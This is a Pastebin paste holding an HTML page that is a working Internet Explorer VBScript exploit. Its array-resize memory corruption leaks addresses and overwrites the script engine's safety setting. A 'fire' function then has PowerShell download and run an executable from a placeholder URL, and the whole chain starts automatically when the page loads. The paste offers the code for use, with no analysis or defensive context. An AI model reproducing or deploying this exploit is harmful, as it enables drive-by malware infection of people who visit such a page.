xrahitel

Untitled

Nov 25th, 2016
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.73 KB | None | 0 0
  1. <html>
  2. <head>
  3. <meta http-equiv="X-UA-Compatible" content="IE=10">
  4. </head>
  5. <body>
  6. <script type="text/vbscript">
  7. Dim aw
  8. Dim plunge(32)
  9. Dim y(32)
  10. prefix = "%u4141%u4141"
  11. d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242"
  12. b = String(64000, "D")
  13. c = d & b
  14. x = UnEscape(c)
  15.  
  16. Class ArrayWrapper
  17. Dim A()
  18. Private Sub Class_Initialize
  19. ReDim Preserve A(1, 2000)
  20. End Sub
  21.  
  22. Public Sub Resize()
  23. ReDim Preserve A(1, 1)
  24. End Sub
  25. End Class
  26.  
  27. Class Dummy
  28. End Class
  29.  
  30. Function getAddr (arg1, s)
  31. aw = Null
  32. Set aw = New ArrayWrapper
  33.  
  34. For i = 0 To 32
  35. Set plunge(i) = s
  36. Next
  37.  
  38. Set aw.A(arg1, 2) = s
  39.  
  40. Dim addr
  41. Dim i
  42. For i = 0 To 31
  43. If Asc(Mid(y(i), 3, 1)) = VarType(s) Then
  44. addr = strToInt(Mid(y(i), 3 + 4, 2))
  45. End If
  46. y(i) = Null
  47. Next
  48.  
  49. If addr = Null Then
  50. document.location.href = document.location.href
  51. Return
  52. End If
  53.  
  54. getAddr = addr
  55. End Function
  56.  
  57. Function leakMem (arg1, addr)
  58. d = prefix & "%u0008%u4141%u4141%u4141"
  59. c = d & intToStr(addr) & b
  60. x = UnEscape(c)
  61. aw = Null
  62. Set aw = New ArrayWrapper
  63. Dim o
  64. o = aw.A(arg1, 2)
  65. leakMem = o
  66. End Function
  67.  
  68. Sub overwrite (arg1, addr)
  69. d = prefix & "%u400C%u0000%u0000%u0000"
  70. c = d & intToStr(addr) & b
  71. x = UnEscape(c)
  72. aw = Null
  73. Set aw = New ArrayWrapper
  74. aw.A(arg1, 2) = CSng(0)
  75. End Sub
  76.  
  77. Sub overwrite2 (arg1, addr)
  78. Dim emptyval
  79. d = prefix & "%u400C%u0000%u0000%u0000"
  80. c = d & intToStr(addr) & b
  81. x = UnEscape(c)
  82. aw = Null
  83. Set aw = New ArrayWrapper
  84. aw.A(arg1, 2) = emptyval
  85. End Sub
  86.  
  87. Function exploit (arg1)
  88. Dim addr
  89. Dim csession
  90. Dim olescript
  91. Dim mem
  92. Set dm = New Dummy
  93. addr = getAddr(arg1, dm)
  94. mem = leakMem(arg1, addr + 8)
  95. csession = strToInt(Mid(mem, 3, 2))
  96. mem = leakMem(arg1, csession + 4)
  97. olescript = strToInt(Mid(mem, 1, 2))
  98. overwrite arg1, olescript + &H174
  99. fire()
  100. overwrite2 arg1, olescript + &H174
  101. End Function
  102.  
  103. function fire()
  104. On Error Resume Next
  105. Set w=CreateObject("WScript.Shell")
  106. Set Object = CreateObject("Shell.Application")
  107. Object.ShellExecute "PowerShell","(New-Object System.Net.WebClient).DownloadFile('yourfileurlherebby','yourfilename.exe');Start-Process 'yourfilename.exe'"
  108. end function
  109.  
  110. Function triggerBug
  111. aw.Resize()
  112. Dim i
  113. For i = 0 To 32
  114. y(i) = Mid(x, 1, 24000)
  115. Next
  116. End Function
  117. </script>
  118.  
  119. <script type="text/javascript">
  120. function strToInt(s)
  121. {
  122. return s.charCodeAt(0) | (s.charCodeAt(1) << 16);
  123. }
  124. function intToStr(x)
  125. {
  126. return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16);
  127. }
  128. var o;
  129. o = {"valueOf": function () {
  130. triggerBug();
  131. return 1;
  132. }};
  133. setTimeout(function() {exploit(o);}, 50);
  134. </script>
  135. </body>
  136. </html>
  137.  
  138.  
  139. #JavascriptShowAlert ~~~HF~~~
Add Comment
Please, Sign In to add comment